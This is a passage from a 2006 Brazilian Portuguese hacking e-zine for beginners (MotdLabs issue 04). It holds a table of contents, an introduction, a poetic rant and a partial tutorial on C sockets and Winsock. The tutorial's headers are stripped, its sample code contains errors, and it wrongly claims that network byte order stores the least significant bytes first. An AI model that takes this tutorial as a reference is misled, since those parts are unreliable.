dP dP
88 88
88d8b.d8b. .d8888b. d8888P .d888b88
88'`88'`88 88' `88 88 88' `88
88 88 88 88. .88 88 88. .88
dP dP dP `88888P' dP `88888P8
oo dP
88
.d8888b. dP dP dP .d888b88 .d8888b.
88' `88 88 88 88 88' `88 88ooood8
88. .88 88. .88 88 88. .88 88. ...
`8888P88 `88888P' dP `88888P8 `88888P'
.88 Número 04
d8888P
E-zine lançada oficialmente dia 18 de Abril de 2006.
http://www.motdlabs.org
contato[arroba]motdlabs.org
irc.freenode.org /join #motd
ATENÇÃO: O MotdLabs adverte que não será responsável por qualquer tolice que
você venha a fazer. Estou certo de que estará consciente que ao tentar por em
prática quaisquer técnicas descritas no decorrer desta zine, você poderá se dar
mal. Ela foi criada apenas para propósitos educacionais e cabe a você decidir o
que fará com esse poder em suas mãos. Só não venha reclamar que se deu mal por
ter feito algo que aprendeu aqui. Obrigado pela a atenção e boa leitura! :)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Índice de Artigos ]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[ 01 ] Introdução (by hallz)
[ 02 ] Aeria Gloris - Camada 01 (by Toy)
[ 03 ] Tutorial Sockets/Winsock - Parte I (by Gustavo Moreira)
[ 04 ] LKM Code Injection (by tDs)
[ 05 ] MSN Hacking (by Leandro A. Thomas)
[ 06 ] Linux além do printf I - Processos e Threads (by Vo)
[ 07 ] Algoritmo de escalonamento: Kernel 2.4 X 2.6 (by Felipe Goldstein)
[ 08 ] Básico sobre Modelo OSI (by d4rwin)
[ 09 ] Daemon Fingerprint (by Inferninho)
[ 10 ] RNA: Uma Breve Introdução (by tDs)
[ 11 ] Entrevista com o dum_dum (by vários)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Índice de Mini-Artigos ]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[ 12 ] Diferenças entre a sintaxe AT&T e a Intel (by Narcotic)
[ 13 ] Introdução a SQL Injection (by Inseto Verde)
[ 14 ] Implementando um Sniffer em Java (by tDs)
[ 15 ] Desenvolvimento de Bibliotecas (by nEuRoMaNcEr)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Ferramentas ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[GoogleCracker].....Usa o Google para quebrar senhas triviais (by Narcotic)
[detectVM]..........Detecta o VMWare (by hallz)
[herrschaft]........Coleta informações sobre a máquina (by Inferninho)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[01]-=[Introdução]=-|hallz|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Olá, pessoal
Acho que muita gente já tinha dado a zine como morta, mas estamos aqui
de novo, 18 meses depois, para apresentar a edição número 04 da zine.
Nesta edição temos uma novidade: os mini-artigos, que são artigos que
podem ser lidos num intervalo relativamente pequeno de tempo. Seria algo como
as "lightning talks" (palestras relâmpago), comuns em conferências da galera do
Python. Experimente lê-los no banheiro, na sala de espera do dentista ou duran-
te os intervalos na TV.
O conteúdo da zine continua voltado para os iniciantes (newbies), e es-
peramos que toda a informação contida aqui possa auxiliar os primeiros passos
dos interessados nessa jornada rumo ao hacking.
No mais, gostaríamos de agradecer a todos que contribuíram de alguma
forma para esta edição. Então aí vai a nossa pequena contribuição, da comunida-
de para a comunidade. Boa leitura e até a próxima!
Abraços,
hallz
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Colaboradores ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
d4rwin...............................................d4rwin[arroba]motdlabs.org
dum_dum.....................................dum_dum[arroba]frontthescene.com.br
Felipe Portavales................felipe.goldstein[arroba]students.ic.unicamp.br
Gustavo Moreira......................................gustavo[arroba]milenar.net
hallz.................................................hallz[arroba]motdlabs.org
Inferninho.......................................inferninh0[arroba]yahoo.com.br
Inseto Verde..........................................if.undef[arroba]gmail.com
Leandro A. Thomas....................................leandroat[arroba]gmail.com
Narcotic...........................................narcotic[arroba]motdlabs.org
nEuRoMaNcEr.....................................marciomanbr[arroba]yahoo.com.br
SKOFF.................................................skoff[arroba]motdlabs.org
SkyNet45...........................................skynet45[arroba]motdlabs.org
tDs.....................................................tds[arroba]motdlabs.org
Toy...................................................toymak3r[arroba]gmail.com
Vo.......................................................vo[arroba]motdlabs.org
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ _EOF_ ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[02]-=[Aeria Gloris - Camada 01]-=|Toy|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Desculpem-me dizer, mas foi tudo mentira.
Quanto te disse que havia liberdade, enquanto os quatros cantos houve
o cântico lírico das mais belas prosas políticas.
Era somente isso, política.
A Chuva está ai para limpar toda a imundice cretina, todo esses falsos
lampejos de atos humildes eram criações destas estrelas caídas.
E nós? Vivemos.
E como usar o xine em um firewall, sem codecs?
Todas as grandes filosofias morreram? Grunge, Satanismo, hum... absinto?
Respostas..Respostas...E continuamos Livres.
Trocamos uma ditadura descarada por uma que cheira a flores podres:
- Instale isso, Instale aquilo!
P!@#$, xmms para The Cure!!
Você é um alienado..! Não vivo por suas regras não respeito suas regras,
sua sociedade não me importa. Pegue a bela constituição e...
Sentemos aqui no chão, vamos discutir como melhor compilar o apache...
Sim, você tem medo?
Realizado por, Organizado por...Professor, quem nos ordenhará hoje?
Espero que essa revolução não seja televisionada...
O Quanto você ganha com isso?
SOFTWARE LIVRE!!! /JOIN OPEN SOURCE/CODE.
Nada parece fazer sentido...
CAMADA 01 - HIPOCRISIA.
Vamos começar pelo o quanto que tu tens direito de acesso: 56 Kbp/s,
128 Kbp/s? É o suficiente? Vamos! Pague-me mais talvez eu funcione
da maneira correta. Porém, não posso compartilhar a conexão que tenho,
que eu pago!
Sabe, não adianta muito dar sangue por quem não se importa! E quem
disse que alguém era para se importar?
Sabe, a ficha daquele necromante está toda marcada de manchas de café;
que tal Forgotten Realms na sexta pela madrugada; ando tão ocupado com
colegas que esqueci daqueles que cresceram comigo no meu bairro e que
escolheram por Direito.
Deixe-me explicar mais uma vez:
- xine Serial_Experiment_Lain.avi
- Eu não vivo por suas regras.
- Eu não acredito no seu Deus.
- Eu não respeito suas leis.
Vou esquentar o café ali, enquanto você me fala das promessas de uma
sociedade mais democrática! mais justa!
Perfeito, o mundo agora é uma tela negra:
# chmod +777 informação
Um ssh e estou no server de alguém do Japão, perae..
$ talk root
Trocando umas palavras sobre Silent Hill..o lugar que eu vou quando
morrer... opa, não? Deus não disse isso? De acordo com o apostolo
William Gibson, Jackson, Clarice Linspector aheaehhaeahe... Postura
e Atitude, certo? Não esqueça da Atitude, criança-estrela. Levantemos
todos o dedo mediano da mão esqueda (a direita é provável que esteja
segurando o mouse!!) em direção a esse email! Estamos começando...
Hum...desligar o monitor...venta tão gostoso la fora, onde está aquele
cd do Moonspell...
E o sol? Ainda não apareceu.
Toy.
_EOF_
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[03]-=[Tutorial Sockets/Winsock - Parte I]=-|Gustavo Moreira|=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
mi!enar.net [www.milenar.net]
"Temos mantido em segredo a nossa morte para tornar nossa vida possível"
--
+-----------------------------------+
|Tutorial Sockets/Winsock - Parte I |
+-----------------------------------+
|0. Introdução.....................|
|1. Definição de sockets...........|
|2. Protocolos.....................|
| 2.1. Aplicação..................|
| 2.2. Transporte.................|
| 2.3. Roteamento.................|
| 2.4. Físico.....................|
| 2.5. Simulação..................|
|3. Visão geral....................|
|4. Headers........................|
|5. Estruturas.....................|
|6. Abrindo um socket..............|
|7. Conectando.....................|
|8. Funções úteis..................|
|9. Fechando e encerrando..........|
|10. Scanner de portas..............|
+-----------------------------------+
[Página 0]
Essa é a segunda edição do meu tutorial de sockets/ winsock.
O intuito desse texto é introduzir o programador nos fascinantes system calls
(Linux) e API(Windows) dos sockets. Não pretendemos partir para coisas mais com-
plexas, como a programação de sockets brutos (raw sockets).
Ao concluir a leitura deste texto você estará apto a criar ferramentas clientes
que se comunicam com serviços e servidores que recebem conexões.
Pré-requisitos para a leitura desse texto: um conhecimento, mesmo que básico
sobre a linguagem C; além disso, algum conhecimento na pilha TCP/IP é importan-
te; conceito sobre o modelo OSI.
--=[ 1. Definição de sockets
O Socket fornece uma interface de comunicação para que dois ou mais computadores
possam trocar informações.
ENDEREÇO_IP + PORTA_COMUNICAÇÃO = SOCKET
O Winsock, por sua vez, é uma versão do socket portada para ambiente windows e
desenvolvida pela Microsoft.
--=[ 2. Protocolos
Como você deve saber, o TCP/IP não é um protocolo, e sim uma pilha deles. Os
mais importantes são, obviamente, o TCP e o IP, que deram nome à arquitetura.
Na arquitetura TCP/IP, assim como no modelo OSI, existe uma hierarquia;essa hie-
rarquia define que protocolos da camada inferior prestem serviços à camada supe-
rior. Porém, ao invés de termos sete camadas como no modelo OSI, no TCP/IP temos
apenas quatro. Vamos a elas:
APLICAÇÃO
TRANSPORTE
REDE, Inter-rede ou Internet (mas gosto de chamar de roteamento)
FÍSICO, ou acesso à rede.
É importante destacar que as camadas citadas acima podem ser representadas de
forma diferente, dependendo do autor.Existe, por exemplo, bons autores que afir-
mam que o modelo TCP/IP tem cinco camadas. Fiquem atentos. Mas para nosso tuto-
rial assumiremos quatro camadas. Contudo, mais do que decorar quantas camadas ou
quais os seus nomes, aprenda conceitualmente qual a importância de cada uma de-
las e suas funções.
--=--=[ 2.1. Aplicação
Essa é a camada mais acessível ao ser humano. De certa forma, nós podemos mani-
pular facilmente os protocolos deste nível. Aqui encontramos serviços prestados
ao usuário final: FTP, HTTP, SMTP, POP3, telnet, etc. Os protocolos das camadas
inferiores prestam serviços às camadas superiores para que o usuário final possa
realizar suas tarefas. Esta é a última camada: o serviço.
--=--=[ 2.2. Transporte
Essa camada é responsável pelo transporte dos dados. Nela temos os protocolos TCP
e UDP. É aqui que teremos o controle de erros, endereçamento de portas para di-
ferenciar no destino qual processo deve receber os dados,seqüenciamento de paco-
tes para que esses sejam remontados com sucesso no destinatário,controle de flu-
xo, dentre outros. Lembrando que, por padrão, o protocolo UDP não faz checagem
de erro, embora seja possível implementar isto.
--=--=[ 2.3. Roteamento
Aqui, além de encontrarmos o pop-star IP, também encontraremos o protocolo de
controle ICMP que, apesar de usar os serviços do IP, é considerado um protocolo
de mesmo nível.
É nessa camada que os pacotes receberão o endereçamento IP, possibilitando que
os roteadores possam manipular esses pacotes e redirecioná-los adequadamente.Te-
remos o campo tempo de vida, que serve para que os pacotes não trafeguem eterna-
mente pela rede, dentre outras. Em suma, aqui teremos o roteamento (palavra fa-
mosa) dos pacotes através de endereçamento lógico (IP).
--=--=[ 2.4. Físico
Aqui encontraremos a arquitetura da rede. Dentre as muitas encontraremos, por
exemplo, o PPP, a Ethernet, Token Ring, FDDI entre tantas outras.
Notem que aqui uma quinta camada faria sentido.A quarta seria o enlace e a quin-
ta a física. Na camada de enlace teríamos os protocolos de enlace tratando dos
endereçamentos físicos (Ethernet, PPP, como no exemplo acima) e na quinta cada-
ma, físico, teremos apenas os bits, isto é,sinais elétricos puros e conexões me-
cânicas, como conectores RJ11, RJ45 e as linhas (cabeamento ou ondas de rádio).
Contudo, como não manipularemos protocolos de nível tão baixo, preferi manter as
quatro camadas apenas. Além do mais geraria polêmica com outros autores.
--=--=[ 2.5. Simulação
Simularemos agora o envio de um e-mail para tornar toda essa teoria algo corri-
queiro.
Você redige um e-mail e clica em enviar. A maioria dos usuário acha que a situa-
ção está resolvida aqui, mas é justamente nesse ponto que nossa brincadeira fica
excitante.
No nível de aplicação, ainda, o seu cliente de e-mail cria o cabeçalho do mesmo.
Esse cabeçalho segue especificação do protocolo SMTP. Agora entra em cena o TCP,
que fará um cálculo denominado checksum, que é um controle de erros para os da-
dos. Também nessa camada o TCP insere a porta destino, 25, padrão para os servi-
dores SMTP. Agora surge o roteamento. Surge o IP, que vai inserir IP de origem e
IP destino (lembra-se quando você configurou o servidor SMTP?), o campo tempo de
vida cujo valor varia de sistema operacional para sistema operacional. Além dis-
so,na camada do IP existe um campo que armazena qual protocolo está sendo trans-
portado; nesse caso é o TCP. Agora todo esse pacote de protocolos é encaminhado
para a interface de rede. No caso de um e-mail pode ser o PPP. Quando o quadro
chegar ao servidor, o modem deste "desembrulha" o pacote da "casca" PPP e envia
o conteúdo para o kernel do sistema, que analisará o restante.
Todo esse processo é denominado encapsulamento. Note que o protocolo SMTP, apli-
cação, foi inserido dentro do TCP. O TCP, transporte, foi inserido dentro do IP.
O IP, roteamento, foi inserido dentro do PPP, físico (ou enlace, com cinco cama-
das).
+------+ +-----+ +-----+ +-----+
|Telnet| | FTP | | DNS | ... | | Aplicação
+------+ +-----+ +-----+ +-----+
| | | |
+-----+ +-----+ +-----+
| TCP | | UDP | ... | | Transporte
+-----+ +-----+ +-----+
| | |
+-------------------------------+
| IP & ICMP | Roteamento
+-------------------------------+
|
+---------------------------+
| PPP, Ethernet, etc | Físico
+---------------------------+
Obs.: desenho retirado da RFC do protocolo TCP.
Imagine quatro caixas de papelão, cada uma delas ligeiramente menor que as ou-
tras. Na menor das caixas coloque um presente para alguém. Feche esta caixa e na
capa escreva: "Presente para alguém especial". Coloque esta caixa com o presente
dentro da segunda menor caixa. Escreva na capa algo como peso e tamanho. Coloque
esta caixa dentro da terceira menor caixa. Também proceda como anteriormente,es-
crevendo informações na capa da caixa para controle.
Faça isso até que todas as caixas estejam uma dentro da outra. Na capa de cada
caixa existe uma informação. Pois bem, o presente representa o dado que se quer
transmitir; cada uma das caixas é um protocolo de seu respectivo nível; cada in-
formação na capa das caixas são os cabeçalhos de cada um dos protocolos.
É exatamente assim que funciona. Cada protocolo é encapsulado dentro de outro e
são inseridos cabeçalhos, com informações de controle.
Esse tipo de padronização, como o modelo OSI, é feito para facilitar o enten-
dimento dos protocolos e minimizar o tempo levado para detecção e correção de
erros. Saber tudo isto não é apenas útil, é imprescindível. Supondo que você te-
nha entendido a hierarquia dos protocolos e que cada um tem uma função específi-
ca, sempre fornecendo serviços aos protocolos que se seguem, partiremos aos so-
ckets.
Eu insisto muito nesse conceito de camadas, por isso quero que entendam muito
bem.
Remetente Roteador Destinatário
+----------+ +----------+
| Aplicação| | Aplicação|
+----------+ +----------+
| ^
V |
+----------+ +----------+
|Transporte| |Transporte|
+----------+ +----------+
| ^
V |
+----------+ +----------+ +----------+
|Roteamento| |Roteamento| ------> + |Roteamento|
+----------+ +----------+ | +----------+
| ^ | ^
V | | |
+----------+ +----------+ | +----------+
| Físico | ------> | Físico | +------> | Físico |
+----------+ +----------+ +----------+
--=[ 3. Visão geral
Como dito no início do tutorial, usaremos como base a linguagem C. Seguiremos
mostrando as funções mais usadas nos sockets:
accept
socket
bind
*closesocket
connect
getpeername
getsockname
getsockopt
htonl
htons
inet_addr
inet_ntoa
ioctlsocket
listen
ntohl
ntohs
recv
recvfrom
select
send
sendto
setsockopt
shutdown
gethostname
gethostbyaddr
gethostbyname
getprotobyname
getprotobynumber
getservbyname
getservbyport
Você poderá usar todas elas tanto em UNIX quanto em Windows.Na API Winsock exis-
tem diversas funções que não serão tratadas nesse texto. Pense que, se você a-
prender a sintaxe e dominar o funcionamento das mais importantes funções cita-
das, você já poderá criar algumas ferramentas interessantes.
* Apenas algumas diferenças. A função closesocket() é utilizada apenas no win-
dows. Essa função pára imediatamente o recebimento ou o envio de dados pelo
socket especificado e o fecha. Num unix-like basta utilizar o close().
--=[ 4. Headers
Obviamente temos que acrescentar os headers:
#include
#include // em UNIX
#include // para windows
Algumas ressalvas. A versão 2 do winsock só está disponível do Win 98 para cima.
Versões abaixo necessitarão de uma atualização para o correto funcionamento do
seu código. Se você quiser utilize apenas a versão 1, pois para nossos exemplos,
basta.
Agora vamos declarar o socket:
int meu_socket // para UNIX
SOCKET meu_socket // Para Windows
Essa é outra diferença.Em sistemas unix nós declararíamos um socket como do tipo
INT (inteiro), mas no Windows declaramos como um SOCKET socket. Se você der uma
fuçada no winsock.h, encontrará coisa do tipo:
typedef unsigned int u_int;
em seguida encontrarão isto:
typedef u_int SOCKET;
Eles só inverteram o nome do tipo de dado. Em outras palavras, tanto em unix-li-
ke quanto no Windows um socket é do tipo inteiro (int). Inclusive, se você qui-
ser, poderá utilizar o tipo INT também no Windows.
--=[ 5. Estruturas
Vou iniciar mostrando uma estrutura que você utilizará em praticamente todas as
implementações com sockets. Nela, você escolherá o destino de seus pacotes, por-
ta e a arquitetura. A estrutura utilizada para isto é a sockaddr_in e tem o se-
guinte formato:
struct sockaddr_in {
short int sin_family; // tipo de arquitetura a ser utilizada
unsigned short int sin_port; // a porta, claro
struct in_addr sin_addr; // endereço no formato IP
unsigned char sin_zero[8]; // zera o restante da estrutura
};
AF_INET (ARPA protocolos inernet).
A AF_INET é a mais usada. Quando tratamos de AF_INET e/ou ARPA, estamos nos re-
ferindo à arquitetura TCP/IP. Existem mais arquiteturas disponíveis, leia o
winsock.h ou o sockets.h, mas é quase certo que você jamais precise das outras.
Vamos tomar um exemplo:
----------------------------------exemplo.c-------------------------------------
#include
main() {
SOCKET meu_socket; /* declarando o socket */
struct sockaddr_in host_destino;
/* declarando estrutura, onde
teremos arquitetura, IP e porta */
host_destino.sin_family=AF_INET;
host_destino.sin_port=80;
/* Porta destino e arquitetura. Aqui vai dar erro, mas paciência,
já vou falar sobre isso.*/
host_destino.sin_addr.s_addr=200.100.100.100;
/* Endereço destino, aqui também vai dar erro,
mas agüenta firme!! */
for(cont=0;cont<=8;cont++) {
vitima.sin_zero[cont]=0;
}
----------------------------------exemplo.c-------------------------------------
Nesse último parâmetro zeramos todo o restante da estrutura. Falaremos sobre is-
so mais abaixo, achei que ficaria mais fácil entender. Eu usei um for, mas você
verá códigos que usam a função memset() e a grande maioria usa a função bzero().
Isso é questão de gosto. Eu usei o for porque torna o código mais didático.
Agora já temos nosso "alvo".
--=[ 6. Abrindo um socket
Esta função será a responsável por criar o socket e deixá-lo pronto para efe-
tuar ou receber uma conexão. Sua sintaxe é a seguinte:
socket(int ARQUITETURA,int TIPO_PROTOCOLO,int PROTOCOLO)
Quanto à arquitetura já sabemos qual utilizar, será o AF_INET. No tipo de proto-
colo nós temos cinco, mas nos contentaremos com apenas dois, os mais utilizados
comumente: SOCK_DGRAM e SOCK_STREAM. Para simplificar ao máximo, o sock_stream
utiliza o protocolo TCP, ou seja, ele tenta criar uma conexão com o destino pra-
ticando o handshake. Dizemos, então, que o sock stream é orientado a conexão. O
sock_dgram utiliza o protocolo UDP. Como você deve ter aprendido no seu curso
de redes ou em alguma apostila, o protocolo UDP não faz controle de erros.Ele
também não executa o handshake. Quando você cria um socket desse tipo, você o
deixa pronto para o envio/recebimento de dados, mas jamais será estabelecida uma
conexão de dados entre remetente e destinatário. Em outras palavras,o dado é jo-
gado na rede e sabe-se lá quando e como vai chegar. Exatamente por isso o proto-
colo UDP é mais veloz que o TCP, utilizado principalmente para aplicações como
vídeo-conferência e jogos. Imagine um sistema de vídeo-conferência que faça con-
trole de erros e pede retransmissão a cada pacote incorreto! Vamos tomar outro
exemplo:
----------------------------------exemplo.c-------------------------------------
#include // não se esqueça q unix é diferente
main() {
SOCKET meu_socket; // não se esqueça q no unix é do tipo INT.
struct sockaddr_in host_destino;
meu_socket=socket(2,1,0);
/* criando um socket. Todos os parâmetros
são do tipo INT. */
----------------------------------exemplo.c-------------------------------------
Como citado anteriormente, o último parâmetro se refere ao protocolo. Você
pode tanto optar por usar assim:
socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
como usar suas respectivas numerações. Há uma relação mais abaixo sobre isso.
Assim como o IPPROTO_IP, eu poderia colocar outros, mas para nosso tutorial u-
saremos apenas esse.O socket está criado.Definimos a arquitetura (2 ou AF_INET),
o protocolo de transporte (1 ou SOCK_STREAM) e o protocolo que vai roteá-lo, no
caso, o 0 ou IPPROTO_IP. A função retorna -1 em caso de erro. Vamos às relações,
conforme prometi:
Tipos de protocolos:
#define SOCK_STREAM_____ 1 // com protocolo TCP
#define SOCK_DGRAM______ 2 // com protocolo UDP
#define SOCK_RAW________ 3 /* ao terminar esse texto, estudar
bastante e, por fim, dominar os sockets,
deve ser seu proximo passo: raw sockets.
*/
#define SOCK_RDM________ 4
#define SOCK_SEQPACKET__ 5
Arquiteturas:
#define AF_UNSPEC_____ 0
#define AF_UNIX_______ 1
#define AF_INET_______ 2 // olha a nossa aqui!
#define AF_IMPLINK____ 3
#define AF_PUP________ 4
#define AF_CHAOS______ 5
#define AF_IPX________ 6
#define AF_NS_________ 6
#define AF_ISO________ 7
#define AF_OSI___ AF_ISO
#define AF_ECMA_______ 8
#define AF_DATAKIT____ 9
#define AF_CCITT______ 10
#define AF_SNA________ 11
#define AF_DECnet_____ 12
#define AF_DLI________ 13
#define AF_LAT________ 14
#define AF_HYLINK_____ 15
#define AF_APPLETALK__ 16
#define AF_NETBIOS____ 17
#define AF_VOICEVIEW__ 18
Protocolos:
#define IPPROTO_IP____ 0 // Veja aqui!
#define IPPROTO_ICMP__ 1
#define IPPROTO_GGP___ 2
#define IPPROTO_TCP___ 6
#define IPPROTO_PUP___ 12
#define IPPROTO_UDP___ 17
#define IPPROTO_IDP___ 22
#define IPPROTO_ND____ 77
#define IPPROTO_RAW___ 255
#define IPPROTO_MAX___ 256
--=[ 7. Conectando
Agora que o socket está criado, poderemos nos conectar. A função para isto é a
connect(). Aqui vai seu formato:
connect(SOCKET,const struct sockaddr*,int);
ou
connect(socket,estrutura_com_enderco_e_porta,tamanho_da_estrutura);
Aqui é um exemplo prático.
connect(s1,(struct sockaddr *)&host_destino,sizeof(host_destino));
A princípio pode parecer meio confuso, mas tente ver além desse monte de letri-
nhas. É o socket, (vírgula) a estrutura com informações do destinatário (vírgu-
la) e o tamanho dessa estrutura, nada mais...
A função connect retorna 0 em caso de sucesso e -1 em caso de erro.
Como os mais atentos devem ter notado nos exemplos que incluí, declarei uma es-
trutura do tipo sockaddr_in, mas na hora da conexão, chamei a sockaddr, por quê?
Veja isto:
struct sockaddr {
u_short sa_family;
char sa_data[14];
};
Na opção sa_family, colocaríamos os AFs (AF_XXX), no nosso caso o AF_INET e no
sa_data, colocaríamos o endereço do destinatário e a sua porta. Mas isso é "es-
quisitérrimo". Logo os programadores sentiram necessidade de criar essa estru-
tura manualmente. Inventaram a estrutura sockaddr_in, onde o 'in' significa
"internet". Então, quando zeramos aquela estrutura com for, memset() ou bzero(),
estamos acomodando aquela estrutura nessa, o sockaddr. É por isso que ao usarmos
a função connect chamamos a estrutura sockaddr,pois é essa que tem "intimidade"
com o socket.
--=[ 8. Funções
Após este capítulo estaremos aptos a fazer muitas coisas interessantes, já vou
passar o código de um scanner de portas simples. Na verdade, acho que todo mundo
que começa com sockets faz um, siga a tradição!!
struct hostent *gethostbyname(const char *name);
A função gethostbyname() converte um nome de host para um endereço IP. Como pu-
deram ver, é retornado um ponteiro para uma estrutura, vamos a ela:
struct hostent {
char *h_name; // Nome do host
char **h_aliases; // Lista dos "aliases"
short h_addrtype; // Tipo de endereço do host
short h_length; // Tamanho do endereço
char **h_addr_list; // Lista de endereços do servidor de nomes
#define h_addr h_addr_list[0]
}
Em sistemas UNIX, para utilizar essa função adicione isto:
#include
Vamos a um exemplo prático, vai. O programinha abaixo resolve o endereço IP da-
do um nome de host.
-----------------------------exemplos.c----------------------------------
<++> sockets/resolver.c
#include
int main(int argc, char *argv[])
{
struct hostent *host;
host=gethostbyname(argv[1]);
if(host==NULL) {
printf("Host desconhecido!");
// note q gethostbyname retorna NULL em caso de falha.
exit(1);
}
printf ("Nome do Host: %s\n",host->h_name);
printf ("Endereço IP: %s\n",
inet_ntoa(*((struct in_addr *)host->h_addr)));
return 0;
}
<--> sockets/resolver.c
-----------------------------exemplos.c----------------------------------
Apenas um programinha de utilidade duvidosa, mas é um bom exemplo. Vamos expli-
car o que é inet_ntoa() e a estrutura in_addr. Apesar de conhecermos o endereço
IP como x.x.x.x,esse é apenas um formato que torna fácil seu reconhecimento por
parte dos humanos. Então, existem duas, na verdade três funções que convertem o
formato real do IP em formato ASCII (q podemos ler) e o formato ASCII (que nós
definimos) para o formato IP, pois é esse formato que os sockets precisam.
inet_ntoa() (ntoa significa network to ascii) - essa função converte o formato
IP das máquinas para ASCII, para que nós, seres humanos, consigamos ler.
Formato: char *inet_ntoa(struct in_addr inaddr);
Note que essa função precisa da estrutura in_addr, por isso a convertemos.
Bom, temos duas outras funções. Essas duas servem para converter nosso ASCII pa-
ra o IP das máquinas.
inet_addr() - essa é a mais comum de todas, você verá sempre.
Formato: unsigned long inet_addr(const char *ptr);
Só um exemplo: inet_addr("127.0.0.1"); // simples, não?
Ainda existe o inet_aton() (aton significa ascii to network). Viram? As funções
se auto-explicam. Essa função não é muito utilizada, pois, por algum motivo que
sinceramente desconheço, todos preferem o inet_addr.
UNIX, para usar as funções inet_aton(), inet_addr() e inet_ntoa, acrescente:
#include
#include
#include
#include
Isso, todos. Nesse ponto, programar no Windows é mais fácil. Adicionando o win-
sock.h temos tudo que precisamos.
Network Byte Order é o modo como nosso hardware guarda os dados. Nesse sistema,
também conhecido como NBO, os bytes menos significativos são guardados primeiro.
Não é diferente do caso anterior, do IP. Nós lemos o dado de uma forma, o compu-
tador de outra. Para enviar os dados pela rede, temos que respeitar os sistemas
utilizados, nesse caso o NBO. Então, para garantir que nossos programas respei-
tem esse sistema, existem algumas funções.
u_long htonl(u_long hostlong) - Host TO Network Long
u_short htons(u_short hostshort) - Host TO Network Short
u_long ntohl(u_long netlong) - Net TO Host Long
u_short ntohs(u_short netshort) - Net TO Host Short
Notem as letras maiúsculas, são os nomes das funções.
Pensem sempre em como as funções são formadas: htons (host to network short).
Ela está dizendo o que faz: converte um dado de um host (seu computador) para a
rede (q pode ser a internet). Sempre pense assim e não terá nenhuma dificuldade.
Sem dúvida, a função que você mais verá é a htons().
Desenvolvedor em ambiente UNIX, quando quiser usar uma dessas funções, adicione
o header:
#include
ou
#include
getservbyport() - Essa função retorna informações sobre determinada porta
de um host.
Formato: struct servent* getservbyport(int,const char*);
UNIX, para usar essa função: #include
Como pode ver, a função retorna a seguinte estrutura.
struct servent {
char *s_name; // nome do servico
char **s_aliases; // nomes alternativos para o servico
short s_port; // porta padrao utilizada por este servico
char *s_proto; // protocolo usado por este servico
};
Agora vamos ver outro exemplo para fixar bem.
-----------------------------exemplos.c----------------------------------
#include // ser for UNIX, adicione esse header.
int main() {
struct servent *servico;
servico=getservbyport(htons(80),"tcp");
/* queremos o protocolo tcp, tbem poderíamos
escolher o udp.*/
printf("Na porta 80 temos o servico %s",servico->s_name);
}
-----------------------------exemplos.c----------------------------------
Simples, não? Notem que nesse caso não precisamos nem criar um socket.
Mas temos que fazer uma pergunta. Onde diabos estão armazenadas essas informa-
ções sobre os serviços?
No Windows NT/2000 ->
WINNT\system32\drivers\etc\services
UNIX ->
etc/services
Abra o arquivo e bingo! Vocês podem modificar esses arquivos, e lembrem-se: mu-
dando esse arquivo, fatalmente o resultado do nosso último exemplo também muda-
rá.
ATENÇÃO: se você está usando Windows para acompanhar esse tutorial, leia esse
capítulo. Se você nunca pretende programar sockets em Windows, pode pular essa
parte e vá ao capítulo 9 (Fechando e encerrando). Para quem vai pular, até mais
embaixo: FALOW!
Olá users Windows.
